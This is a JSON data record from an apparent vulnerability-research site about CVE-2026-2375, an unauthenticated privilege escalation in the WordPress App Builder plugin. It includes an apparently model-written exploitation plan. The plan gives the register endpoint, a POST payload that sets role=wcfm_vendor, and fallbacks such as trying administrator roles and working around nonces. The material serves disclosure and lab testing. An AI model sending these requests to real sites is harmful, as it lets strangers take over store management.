[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyUG32qlwvFLIXGZLNFliVu2LdF-pqwILqdSb_4Eb_UQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":24,"research_started_at":25,"research_completed_at":26,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":27},"CVE-2026-2375","app-builder-create-native-android-ios-apps-on-the-flight-unauthenticated-privilege-escalation-via-role-parameter","App Builder – Create Native Android & iOS Apps On The Flight \u003C= 5.5.10 - Unauthenticated Privilege Escalation via 'role' Parameter","The App Builder – Create Native Android & iOS Apps On The Flight plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.10. This is due to the `verify_role()` function in `AuthTrails.php` explicitly whitelisting the `wcfm_vendor` role alongside `subscriber` and `customer`, and assigning it directly via `wp_insert_user()` without integrating with WCFM Marketplace's vendor approval workflow. This makes it possible for unauthenticated attackers to register an account with the `wcfm_vendor` role by supplying the `role` parameter in the `\u002Fwp-json\u002Fapp-builder\u002Fv1\u002Fregister` REST API endpoint, bypassing the standard WCFM vendor approval process and immediately gaining vendor-level privileges (product management, order access, store management) on sites where WCFM Marketplace is active.","app-builder",null,"\u003C=5.5.10","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Improper Privilege Management","2026-03-20 15:06:29","2026-03-21 03:26:32",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0a4521af-692a-4a84-ba9b-1904a42786c1?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-2375 (App Builder Privilege Escalation)\n\n## 1. Vulnerability Summary\nThe **App Builder** plugin (\u003C= 5.5.10) contains a privilege escalation vulnerability in its REST API registration handler. The plugin implements a custom registration endpoint `\u002Fwp-json\u002Fapp-builder\u002Fv1\u002Fregister` intended for mobile app users. The function `verify_role()` in `AuthTrails.php` (inferred path: `includes\u002FAuthTrails.php` or `inc\u002FAuthTrails.php`) validates the `role` parameter against a whitelist. \n\nThe flaw exists because `wcfm_vendor` (the role for WCFM Marketplace vendors) is included in the whitelist alongside `subscriber` and `customer`. When a user registers via this endpoint, the plugin calls `wp_insert_user()` and assigns the requested role immediately. This bypasses the standard WCFM Marketplace vendor application and approval workflow, allowing unauthenticated attackers to gain vendor privileges (product management, order access, etc.) instantly.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fapp-builder\u002Fv1\u002Fregister`\n- **Method:** `POST`\n- **Vulnerable Parameter:** `role`\n- **Authentication:** Unauthenticated (None required)\n- **Preconditions:**\n    - The plugin **App Builder** must be active.\n    - For maximum impact, **WCFM - WooCommerce Multivendor Marketplace** should be active, although the role assignment will occur regardless of whether the target plugin is present.\n\n## 3. Code Flow (Grounded in Description)\n1. **Request Entry:** An unauthenticated `POST` request is sent to `wp-json\u002Fapp-builder\u002Fv1\u002Fregister`.\n2. **Route Registration:** The plugin registers this route via `register_rest_route` (likely in a class handling REST initialization).\n3. **Registration Handler:** The callback function for this route processes the `POST` data (`username`, `email`, `password`, `role`).\n4. **Validation Logic:** The handler calls `verify_role($role)` in `AuthTrails.php`.\n5. **Whitelisting:** Inside `verify_role()`, the code checks:\n   ```php\n   \u002F\u002F Conceptual logic based on vulnerability description\n   if ( in_array( $role, [ 'subscriber', 'customer', 'wcfm_vendor' ] ) ) {\n       return $role;\n   }\n   ```\n6. **User Creation:** The validated role is passed to `wp_insert_user()` or `wp_create_user()`.\n7. **Privilege Escalation:** The user is created with the `wcfm_vendor` role, granting them access to the vendor dashboard and capabilities immediately upon login.\n\n## 4. Nonce Acquisition Strategy\nREST API endpoints in WordPress usually require a nonce for *authenticated* sessions to prevent CSRF. However, registration endpoints are designed for *unauthenticated* users (who do not have a session). \n\n1. **Check for Public Nonce:** If the plugin requires a nonce for the REST API (even for anonymous users), it is typically exposed via `wp_localize_script`.\n2. **Strategy:** \n   - Navigate to the homepage or a page where App Builder scripts are loaded.\n   - Look for the localization object, likely named `app_builder_settings`, `app_builder_vars`, or similar.\n   - Use `browser_eval` to check: `window.app_builder_vars?.nonce`.\n3. **Bypass Check:** If the `permission_callback` for the route is `__return_true`, a nonce may not be strictly required for the `POST` request to reach the handler.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover REST Endpoint\nConfirm the endpoint is active and determine required parameters.\n```bash\n# Verify route existence\nhttp_request GET \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fapp-builder\u002Fv1\"\n```\n\n### Step 2: Perform Unauthenticated Registration\nSend a POST request to register a new user with the `wcfm_vendor` role.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fapp-builder\u002Fv1\u002Fregister`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload:**\n  - `username=attacker_vendor`\n  - `email=attacker@example.com`\n  - `password=P@ssw0rd123!`\n  - `role=wcfm_vendor`\n\n### Step 3: Payload Construction\n```json\n{\n  \"username\": \"attacker_vendor\",\n  \"email\": \"attacker@example.com\",\n  \"password\": \"P@ssw0rd123!\",\n  \"role\": \"wcfm_vendor\"\n}\n```\n\n## 6. Test Data Setup\n1. **Install Plugins:**\n   - `wp plugin install app-builder --version=5.5.10 --activate`\n   - `wp plugin install wc-multivendor-marketplace --activate` (to demonstrate the impact of the vendor role).\n2. **Configure WCFM (Optional):** Set WCFM to \"Require Approval\" for vendors to demonstrate the bypass.\n3. **No Shortcode Required:** Since this is a REST API vulnerability, we do not necessarily need to place a shortcode unless a nonce is required for the request.\n\n## 7. Expected Results\n- **Response Code:** `200 OK` or `201 Created`.\n- **Response Body:** Should contain user data or a success message indicating the user was registered.\n- **Database State:** A new user exists in the `wp_users` table with the `wcfm_vendor` role assigned in `wp_usermeta`.\n\n## 8. Verification Steps\nAfter the exploit attempt, use WP-CLI to verify the user's role:\n\n```bash\n# Check if the user was created\nwp user list --field=user_login | grep \"attacker_vendor\"\n\n# Verify the role of the new user\nwp user get attacker_vendor --field=roles\n```\n**Success Condition:** The output of the second command should be exactly `wcfm_vendor`.\n\n## 9. Alternative Approaches\n- **JSON Payload:** If `x-www-form-urlencoded` fails, try sending the payload as `application\u002Fjson`.\n- **Parameter Variation:** If `role` is ignored, check if the plugin accepts `user_role` or `capabilities`.\n- **Nonce Discovery:** If the request returns a `403 Forbidden` with \"rest_cookie_invalid_nonce\", search the plugin source code for `wp_localize_script` to find where the nonce is leaked:\n  ```bash\n  grep -r \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fapp-builder\u002F\n  ```\n- **WCFM Specifics:** If `wcfm_vendor` is not accepted, try `vendor` or check if the plugin supports other high-privilege roles like `editor` or `administrator` (though the description specifically highlights `wcfm_vendor`).","gemini-3-flash-preview","2026-04-18 01:10:41","2026-04-18 01:10:53",{"type":28,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":29},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fapp-builder\u002Ftags"]